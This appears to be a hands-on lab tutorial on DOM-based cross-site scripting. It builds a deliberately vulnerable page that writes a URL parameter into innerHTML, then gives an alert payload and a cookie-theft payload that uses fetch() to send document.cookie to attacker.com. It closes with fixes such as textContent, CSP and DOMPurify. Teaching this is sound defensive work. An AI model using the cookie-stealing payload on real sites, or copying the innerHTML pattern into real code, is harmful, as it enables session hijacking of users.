Objective
Learn how to exploit DOM-based Cross-Site Scripting (XSS) vulnerabilities that occur when client-side JavaScript dynamically modifies the DOM using unsanitized user input. Understand how to prevent these vulnerabilities by using secure JavaScript methods and best practices.
Scenario
You are testing a web application where user input is reflected on the page without proper sanitization through client-side JavaScript. An attacker can exploit this by injecting malicious scripts that execute in the victim’s browser.
Lab Setup
Prerequisites:
- Basic knowledge of JavaScript and web security.
- XAMPP/LAMP/WAMP stack installed (or any web server with PHP support).
- A code editor (e.g., VSCode, Sublime Text).
Step 1: Create the Vulnerable Web Application
- HTML Page with DOM-based XSS Vulnerability
- Create a file
dom_xss.html
:<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>DOM-based XSS Lab</title> </head> <body> <h2>Welcome to the DOM-based XSS Lab</h2> <p id="output"></p> <script> const params = new URLSearchParams(window.location.search); const userInput = params.get('input'); document.getElementById('output').innerHTML = userInput; </script> </body> </html>
- Create a file
- Running the Application
- Start the Apache server.
- Place
dom_xss.html
in the web server’s root directory (htdocs
for XAMPP). - Open
http://localhost/dom_xss.html
in your browser.
Exploitation Steps
Step 1: Injecting a Malicious Payload
- Enter the following URL in the browser:
http://localhost/dom_xss.html?input=<img src="x" onerror="alert('XSS')">
- Expected Result:
- The alert box pops up with the message “XSS”.
Step 2: Stealing Cookies
- Use a more advanced payload to steal cookies:
http://localhost/dom_xss.html?input=<script>fetch('http://attacker.com/steal.php?cookie='+document.cookie)</script>
- Expected Result:
- The victim’s cookies are sent to the attacker’s server.
Solution and Prevention
Problem Analysis
- The JavaScript uses
innerHTML
to insert user input into the DOM without sanitization, allowing script execution.
Fixing the Vulnerability
- Use
textContent
Instead ofinnerHTML
- Safely render user input as plain text:
document.getElementById('output').textContent = userInput;
- Safely render user input as plain text:
- Use
setAttribute
for Dynamic Attributes- When setting attributes dynamically, use
setAttribute()
:document.getElementById('output').setAttribute('data-content', userInput);
- When setting attributes dynamically, use
- Implement Input Validation
- Validate user input on both client and server sides to reject malicious payloads.
- Apply Content Security Policy (CSP)
- Prevent the execution of unauthorized scripts:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self';">
- Prevent the execution of unauthorized scripts:
- Use Security Libraries
- Utilize libraries like DOMPurify to sanitize user input:
document.getElementById('output').innerHTML = DOMPurify.sanitize(userInput);
- Utilize libraries like DOMPurify to sanitize user input:
Testing After Fix
- Attempt to access:
http://localhost/dom_xss.html?input=<script>alert('XSS')</script>
- Expected Result:
- The input is displayed as text, and no script executes.
- Try more advanced payloads.
- Expected Result:
- All malicious inputs are neutralized.
Conclusion
In this lab, you exploited a DOM-based XSS vulnerability by injecting malicious scripts into client-side JavaScript. You also learned how to prevent this vulnerability by using safer DOM manipulation methods (textContent
, setAttribute
), implementing input validation, and enforcing security policies like CSP.
0 Comments